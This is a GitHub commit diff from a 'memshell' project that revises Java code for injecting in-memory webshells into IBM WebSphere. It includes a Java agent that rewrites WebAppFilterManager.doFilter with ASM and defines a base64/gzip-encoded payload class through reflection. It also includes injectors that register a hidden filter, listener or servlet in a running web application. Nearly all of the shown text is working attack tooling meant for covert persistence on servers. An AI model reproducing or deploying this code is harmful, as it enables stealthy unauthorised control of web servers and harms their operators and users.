Skip to content

Commit 5851aaf

Browse files
committed
fix
1 parent f2bbe57 commit 5851aaf

File tree

4 files changed

+82
-145
lines changed

4 files changed

+82
-145
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java

Lines changed: 23 additions & 116 deletions
Original file line numberDiff line numberDiff line change
@@ -19,9 +19,6 @@
1919
public class WebSphereFilterChainAgentInjector implements ClassFileTransformer {
2020
private static final String TARGET_CLASS = "com/ibm/ws/webcontainer/filter/WebAppFilterManager";
2121
private static final String TARGET_METHOD_NAME = "doFilter";
22-
private static Class<?> payload;
23-
private static ClassLoader targetClassLoader;
24-
private static String thisClassName = WebSphereFilterChainAgentInjector.class.getName();
2522

2623
public static String getClassName() {
2724
return "{{advisorName}}";
@@ -39,38 +36,24 @@ public static void agentmain(String args, Instrumentation inst) throws Exception
3936
launch(inst);
4037
}
4138

42-
43-
@Override
44-
public boolean equals(Object obj) {
45-
if (payload == null) {
46-
payload = new AgentShellClassLoader(targetClassLoader).defineDynamicClass(gzipDecompress(decodeBase64(getBase64String())));
47-
}
48-
try {
49-
return payload.newInstance().equals(obj);
50-
} catch (Throwable e) {
51-
e.printStackTrace();
52-
return false;
53-
}
54-
}
55-
5639
private static void launch(Instrumentation inst) throws Exception {
5740
System.out.println("MemShell Agent is starting");
5841
inst.addTransformer(new WebSphereFilterChainAgentInjector(), true);
5942
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
6043
String name = allLoadedClass.getName();
6144
if (TARGET_CLASS.replace("/", ".").equals(name)) {
6245
inst.retransformClasses(allLoadedClass);
46+
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
6347
}
6448
}
65-
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
6649
}
6750

6851
@Override
6952
@SuppressWarnings("all")
7053
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
7154
ProtectionDomain protectionDomain, byte[] bytes) {
7255
if (TARGET_CLASS.equals(className)) {
73-
targetClassLoader = loader;
56+
defineTargetClass(loader);
7457
try {
7558
ClassReader cr = new ClassReader(bytes);
7659
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@@ -99,7 +82,7 @@ public MethodVisitor visitMethod(int access, String name, String descriptor,
9982
if (TARGET_METHOD_NAME.equals(name)) {
10083
try {
10184
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
102-
return new AgentShellMethodVisitor(mv, argumentTypes, thisClassName);
85+
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
10386
} catch (Exception e) {
10487
e.printStackTrace();
10588
}
@@ -130,23 +113,10 @@ public void visitCode() {
130113
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
131114

132115
mv.visitLabel(tryStart);
133-
mv.visitLdcInsn(className);
134-
mv.visitInsn(Opcodes.ICONST_1);
135-
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
136-
"java/lang/ClassLoader",
137-
"getSystemClassLoader",
138-
"()Ljava/lang/ClassLoader;",
139-
false);
140-
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
141-
"java/lang/Class",
142-
"forName",
143-
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;",
144-
false);
145-
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
146-
"java/lang/Class",
147-
"newInstance",
148-
"()Ljava/lang/Object;",
149-
false);
116+
String internalClassName = className.replace('.', '/');
117+
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
118+
mv.visitInsn(Opcodes.DUP);
119+
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
150120
mv.visitInsn(Opcodes.SWAP);
151121
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
152122
"java/lang/Object",
@@ -196,85 +166,6 @@ private int getArgIndex(final int arg) {
196166
}
197167
}
198168

199-
public static class AgentShellClassLoader extends URLClassLoader {
200-
private final ClassLoader targetClassLoader;
201-
202-
public AgentShellClassLoader(ClassLoader targetClassLoader) {
203-
super(new URL[0], ClassLoader.getSystemClassLoader());
204-
this.targetClassLoader = targetClassLoader;
205-
}
206-
207-
@SuppressWarnings("all")
208-
private Object getClassLoadingLock0(String className) {
209-
try {
210-
return getClassLoadingLock(className);
211-
} catch (Throwable t) {
212-
return this;
213-
}
214-
}
215-
216-
public Class<?> defineDynamicClass(byte[] bytes) {
217-
return defineClass(bytes, 0, bytes.length);
218-
}
219-
220-
@Override
221-
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
222-
Class<?> clazz = null;
223-
if (name == null || name.startsWith("java.")) {
224-
clazz = getParent().loadClass(name);
225-
} else {
226-
try {
227-
clazz = findLoadedClass(name);
228-
if (clazz == null) {
229-
synchronized (getClassLoadingLock0(name)) {
230-
clazz = findLoadedClass(name);
231-
if (clazz == null) {
232-
clazz = findClass(name);
233-
}
234-
}
235-
}
236-
} catch (Throwable ignored) {
237-
}
238-
try {
239-
if (clazz == null) {
240-
clazz = getParent().loadClass(name);
241-
}
242-
} catch (ClassNotFoundException e) {
243-
try {
244-
clazz = tryToLoadByContextClassLoader(name, resolve);
245-
} catch (Throwable ignored) {
246-
throw e;
247-
}
248-
}
249-
}
250-
251-
if (resolve) {
252-
resolveClass(clazz);
253-
}
254-
return clazz;
255-
}
256-
257-
public Class<?> tryToLoadByContextClassLoader(String name, boolean resolve) throws ClassNotFoundException {
258-
if (targetClassLoader != null) {
259-
Class<?> clazz = targetClassLoader.loadClass(name);
260-
if (resolve) {
261-
resolveClass(clazz);
262-
}
263-
return clazz;
264-
}
265-
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
266-
if (contextClassLoader != null) {
267-
Class<?> clazz = contextClassLoader.loadClass(name);
268-
if (resolve) {
269-
resolveClass(clazz);
270-
}
271-
return clazz;
272-
} else {
273-
return null;
274-
}
275-
}
276-
}
277-
278169
@SuppressWarnings("all")
279170
public static byte[] decodeBase64(String base64Str) {
280171
Class<?> decoderClass;
@@ -316,4 +207,20 @@ public static byte[] gzipDecompress(byte[] compressedData) {
316207
}
317208
}
318209
}
210+
211+
@SuppressWarnings("all")
212+
public void defineTargetClass(ClassLoader loader) {
213+
try {
214+
loader.loadClass(getClassName());
215+
return;
216+
} catch (ClassNotFoundException ignored) {
217+
}
218+
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
219+
try {
220+
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
221+
defineClass.setAccessible(true);
222+
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
223+
} catch (Exception ignored) {
224+
}
225+
}
319226
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java

Lines changed: 17 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -48,7 +48,10 @@ public String getBase64String() throws IOException {
4848
return "{{base64Str}}";
4949
}
5050

51-
51+
/**
52+
* com.ibm.ws.webcontainer.webapp.WebAppImpl
53+
* /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
54+
*/
5255
public List<Object> getContext() throws Exception {
5356
List<Object> contexts = new ArrayList<Object>();
5457
Object context;
@@ -75,12 +78,17 @@ public List<Object> getContext() throws Exception {
7578
return contexts;
7679
}
7780

81+
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
82+
try {
83+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
84+
} catch (Exception e) {
85+
return ((ClassLoader) getFieldValue(context, "loader"));
86+
}
87+
}
88+
7889
@SuppressWarnings("all")
7990
private Object getShell(Object context) throws Exception {
80-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
81-
if (classLoader == null) {
82-
classLoader = context.getClass().getClassLoader();
83-
}
91+
ClassLoader classLoader = getWebAppClassLoader(context);
8492
try {
8593
return classLoader.loadClass(getClassName()).newInstance();
8694
} catch (Exception e) {
@@ -100,21 +108,10 @@ public void inject(Object context, Object filter) throws Exception {
100108
return;
101109
}
102110

103-
Class<?> filterMappingClass;
104-
Class<?> iFilterConfigClass;
105-
Class<?> iServletConfigClass;
106-
ClassLoader classLoader;
107-
try {
108-
classLoader = context.getClass().getClassLoader();
109-
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
110-
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
111-
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
112-
} catch (Exception e) {
113-
classLoader = Thread.currentThread().getContextClassLoader();
114-
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
115-
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
116-
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
117-
}
111+
ClassLoader classLoader = context.getClass().getClassLoader();
112+
Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
113+
Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
114+
Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
118115

119116
Object filterManager = getFieldValue(context, "filterManager");
120117
try {

memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java

Lines changed: 32 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -64,12 +64,17 @@ public List<Object> getContext() throws Exception {
6464
return contexts;
6565
}
6666

67+
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
68+
try {
69+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
70+
} catch (Exception e) {
71+
return ((ClassLoader) getFieldValue(context, "loader"));
72+
}
73+
}
74+
6775
@SuppressWarnings("all")
6876
private Object getShell(Object context) throws Exception {
69-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
70-
if (classLoader == null) {
71-
classLoader = context.getClass().getClassLoader();
72-
}
77+
ClassLoader classLoader = getWebAppClassLoader(context);
7378
try {
7479
return classLoader.loadClass(getClassName()).newInstance();
7580
} catch (Exception e) {
@@ -142,4 +147,27 @@ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldEx
142147
}
143148
throw new NoSuchFieldException(name);
144149
}
150+
151+
@SuppressWarnings("all")
152+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
153+
Exception {
154+
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
155+
Method method = null;
156+
while (clazz != null && method == null) {
157+
try {
158+
if (paramClazz == null) {
159+
method = clazz.getDeclaredMethod(methodName);
160+
} else {
161+
method = clazz.getDeclaredMethod(methodName, paramClazz);
162+
}
163+
} catch (NoSuchMethodException e) {
164+
clazz = clazz.getSuperclass();
165+
}
166+
}
167+
if (method == null) {
168+
throw new NoSuchMethodException("Method not found: " + methodName);
169+
}
170+
method.setAccessible(true);
171+
return method.invoke(obj instanceof Class ? null : obj, param);
172+
}
145173
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -70,12 +70,17 @@ public List<Object> getContext() throws Exception {
7070
return contexts;
7171
}
7272

73+
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
74+
try {
75+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
76+
} catch (Exception e) {
77+
return ((ClassLoader) getFieldValue(context, "loader"));
78+
}
79+
}
80+
7381
@SuppressWarnings("all")
7482
private Object getShell(Object context) throws Exception {
75-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
76-
if (classLoader == null) {
77-
classLoader = context.getClass().getClassLoader();
78-
}
83+
ClassLoader classLoader = getWebAppClassLoader(context);
7984
try {
8085
return classLoader.loadClass(getClassName()).newInstance();
8186
} catch (Exception e) {
@@ -94,7 +99,7 @@ public void inject(Object context, Object servlet) throws Exception {
9499
System.out.println("servlet already injected");
95100
return;
96101
}
97-
invokeMethod(context, "addDynamicServlet", new Class[]{String.class, String.class, String.class, Properties.class}, new Object[]{getClassName(), servlet.getClass().getName(), getUrlPattern(), null});
102+
invokeMethod(context, "addDynamicServlet", new Class[]{String.class, String.class, String.class, Properties.class}, new Object[]{getClassName(), getClassName(), getUrlPattern(), null});
98103
System.out.println("servlet injected successfully");
99104
}
100105

0 commit comments

Comments
 (0)